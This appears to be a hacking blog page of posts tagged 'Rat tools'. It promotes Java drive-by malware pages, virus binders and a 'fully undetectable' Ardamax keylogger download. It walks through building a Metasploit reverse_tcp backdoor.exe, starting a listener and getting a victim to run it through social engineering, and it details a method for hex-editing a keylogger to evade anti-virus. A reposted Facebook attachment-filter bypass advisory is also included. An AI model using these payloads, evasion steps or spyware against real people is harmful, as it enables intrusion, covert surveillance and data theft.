Showing posts with label Rat tools. Show all posts
Showing posts with label Rat tools. Show all posts

Thursday, December 27, 2012



Checkout  my previous tut about what is java drive and how to setup a java drive
Here is the tutorial how to  clone any webpage and turn into a javadrive:


Download required files from here

What is a Java drive ?

A Java Drive-By is a Java Applet that is coded in Java and is put on a website. Once you click "Run" on the pop-up, it will download a program off the internet. This program can be a virus or even a simple downloader. If you'd like to get the source code or wanna know more information about a Java Drive-By, use Google.


Here is a detailed video tutorial of java drive >>




Downlaod Java drive files from here
                                      Download keylogger from here

Tuesday, June 19, 2012

                        


What is Binder?
Bridges the Gap between XML and Code (C++,C#,Java,VB6,VB.Net). Generates a class library based on an XML Schema (XSD, XDR or DTD). The resulting library makes it simple to read and write XML documents programmatically. Drastically cutting time spent developing and testing. Because the class library is strongly typed you can also make use of intelligence. The library forces compliance to the schema resulting in valid XML every time. Simple words it converts your code and forms into an executable program.
Why Hackers use Binder?
It�s simple. They bind the virus with another clean for example (.exe) to make the virus undetected to anti-virus software. Many binders has extra features like add bytes, change icons, etc. to make them more undetected. You can go to stuff page and download the binder to see how it�s work. Of course is detected from some anti-virus use it for education purpose.
How you can protect from a mask virus?
You can�t! Binders is usually detected very fast from good anti-virus software�s, when you open some binded virus your anti-virus software will probably show you (injection). If your anti-virus software is not detect the virus or the binder the only think you have to do is to confront it as a simple virus.


A good list of my binder collection Free download :

 3   nbinder
 4   sbinder

Sunday, February 19, 2012


In this tutorial i will exploit a Windows 7 Sp1 OS using Metasploit. i will be using the exploit/multi/handler module which �provides all of the features of the Metasploit payload system to exploits that have been launched  outside of the framework�


My Video tutorial on youtube :http://www.youtube.com/watch?v=GiofrKO-v8A





Commands used:
msfpayload windows/meterpreter/reverse_tcp LHOST=�your Local I LPORT=�listening port� x > /root/backdoor.exe


I used port 4444 (you can choose your own port) for the LPORT which is the listening port and set the LHOST to the IP of the remote attacker which is obviously your Local IP address, my IP is xxx.xxx.xx.x.

After that, you should be able to see a file named as backdoor.exe in /root. 

Send the file to the victim by using your Social Engineering skills and let him 

click the file. You can change the name of the file so that it is not that obvious.

Launch Metasploit and set the exploit by typing these commands in your msfconsole:


use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.128.168.128
set lport 4444
exploit







If all goes well, you should be able to establish a meterpreter session. Typesysinfo to gather some info on the machine. To know other commands


 for the meterpreter type help. There are also other meterpreter commands 

like capturing the screenshot of the PC, record keystrokes, capture a 
snapshot from a webcam, etc. To enter the command shell of the machine, type shell.

it,s cool to take a screenshot with meterpreter command screenshot.

Saturday, January 7, 2012


.



Our FUDDING tool requirements and download links.



First of course an AV what I am going to be using is AVAST the free edition.


File splitter to split our servers to find out where the virus signature is to modify it.

Best hex editor I have found and its free of charge.




Now lets begin.



Now go grab the server you want to edit mine is going to be a Spyrex keylogger server you can use any keylogger server like neptune,ardamax,elite..etcetc.


Before we begin turn AV off.
You result may vary on AV your using. 


Now place you server in a folder I recommend naming it A trust me on this. Now my server name is test.exe.

Okay now once you have placed the server in a file lets scan it.
And.......
OMG it got caught 

 

Ok now where to start open The File Splitter and Calc.exe to split the  file.
In
the file splitter browse to the server you want to split and choose
Custom size. Now it tells me that this server is exactly 53,495 bytes
and I want to split it into 4 pieces. So I go to Calc and divide it by 4
now place the number you got after dividing it and place it in the
splitter custom size box like I have at the bottom. Now click on Split.


 



Now you should get the files in the same directory like I have below.






Now scan each of them to figure out witch file we have to split again.
 
 Now once you have figured it out make a new folder named the part
number that was detected now I got part 3 so I'm gonna make a new folder
named 3 . 



Now I
hope you didn't close file splitter if so reopen it and browse to
test.exe.3 to split and change the output folder to 3 like I have in the
picture below. We are also going to split this file into 4 pieces again
so open up Calc and divide by 4.
I made a drawing on this if your confused 





Now you should have this inside folder named 3.


 

Now
scan each file again to figure out witch file we need to split but also
be aware of how small the file is getting. Once you figure out witch
file needs splitting make a new folder with the parts name. I got part
test.exe.3.3 so I am going to make a new folder and name it 3.



 


Now
once you made new folder named 3 open up file splitter and browse to
the file that got detected mine was test.exe.3.3 and pick the output
directory to the folder we just made witch was the folder named 3.









Now
browse to the new folder and scan the new files we split. As you can
see test.exe.3.3.4 was detected so I'm gonna make a new folder and name
it 4.


 




Now in file splitter pick the file that got detected witch was test.exe.3.3.4 and choose the new folder we made named 4.




 

 Now lets scan the new files and see witch got detected ocne we find it open it up with the HEX editor and see if its still to big to figure out what we need to change.



 


Ok so it's test.3.3.4.1 that we need to edit do open it up with your favorite hex editor or use the one I provided earlier. Once you open it it will look something like this.







Now
the virus signature is in here don't get scared its not that hard now
my method of figuring it is looking for something that stands out or
guesssing. All you really have to do is change a letter from capital to a
lower case one now what worked for me was changing D to a lower case
from the word DLLHOOKSTRUCT. 


Congratz now its FUD now all you need to do it compile it and scan it one more time and run it to test.

Now compiling I will show you one example and you can figure out the rest by your own.



Now you see the splitter icon inside your folder click on it and it will recompile the file.

 




Now

once you made that file copy it and go back one directory and past it 
then it will ask you to replace it click yes and keep doing this till 
you go back to first directory. And your done.




 




I really hope you learn something this took me like 3 hours.



Sunday, October 30, 2011




----------------------------------------------------------------------------------------------------------------------------------------
1. Summary:

When using the Facebook 'Messages' tab, there is a feature to attach a file. Using this feature normally, the site won't allow a user to attach an executable file. A bug was discovered to subvert this security mechanisms. Note, you do NOT have to be friends with the user to send them a message with an attachment.

----------------------------------------------------------------------------------------------------------------------------------------
2. Description:

When attaching an executable file, Facebook will return an error message stating:

"Error Uploading: You cannot attach files of that type."









When uploading a file attachment to Facebook we captured the web browsers POST request being sent to the web server. Inside this POST request reads the line:

Content-Disposition: form-data; name="attachment"; filename="cmd.exe"

It was discovered the variable 'filename' was being parsed to determine if the file type is allowed or not.

To subvert the security mechanisms to allow an .exe file type, we modified the POST request by appending a space to our filename variable like so:

filename="cmd.exe "



































This was enough to trick the parser and allow our executable file to be attached and sent in a
message.










----------------------------------------------------------------------------------------------------------------------------------------
3. Impact:

Potentially allow an attacker to compromise a victim�s computer system.an Attacker can directly send a Rat,trojan to victim which is a very serious threat >!!!!!

----------------------------------------------------------------------------------------------------------------------------------------
4. Affected Products:

www.facebook.com

----------------------------------------------------------------------------------------------------------------------------------------
5. Time Table:

09/30/2011 Reported Vulnerability to the Vendor
10/26/2011 Vendor Acknowledged Vulnerability
10/27/2011 Publicly Disclosed

----------------------------------------------------------------------------------------------------------------------------------------
6. Credits:

Discovered by Nathan Power
www.securitypentest.com

Sunday, August 28, 2011

Using key logger utility you will be able to establish full control over your computer. You will also find out, what was going on your computer in your absence: what was run and typed etc which act as best children internet protection software. Using the keylogging program constantly, you can restore the previously typed text in case you have lost it. Keystroke logger software works in the hidden mode and invisible on Windows operating system including Windows 7/VISTA/XP/Server 2008/NT/98 etc.
Key logger features:
  • Key Stroke Recording
    Record all typed keystrokes by the users on computer!
  • Recording Multiple User Record
    Record all users activities performed on the computer (including the Guest user).
  • Hidden Installation
    Users can not detect about the key logger installation on the computer!
  • Stealth Mode
    Key Logger will not appear on the Desktop, Add/Remove Programs, Control panel and even hidden in installation path folders.
  • Record startup time and time settings of computer
    Facilitates user to record windows login time and system time modifications.
  • Email Log Files
    Software record the keystrokes in encrypted log file that can be sent later at specified email address.
  • Password Protected
    Password protected from the external users logging it!
  • Hot Key and Run command featureHotkey combination or run command can be assigned to unhide the software when running in hidden mode.
  • Report Generation
    Report of recorded keystrokes can be generated in .txt or .html file format according to user choice.
  • No Degradation of Performance
    Do not slow down the computer when the software is running.
New Full version Ardamax Keylogger(V3.8.5) which is FUD (fully undetectable by anti-viruses ) absoluley free.


                               
Click Here To -------> DOWNLOAD     {RAR PASS : devendrasaini}




Download Tutorial from here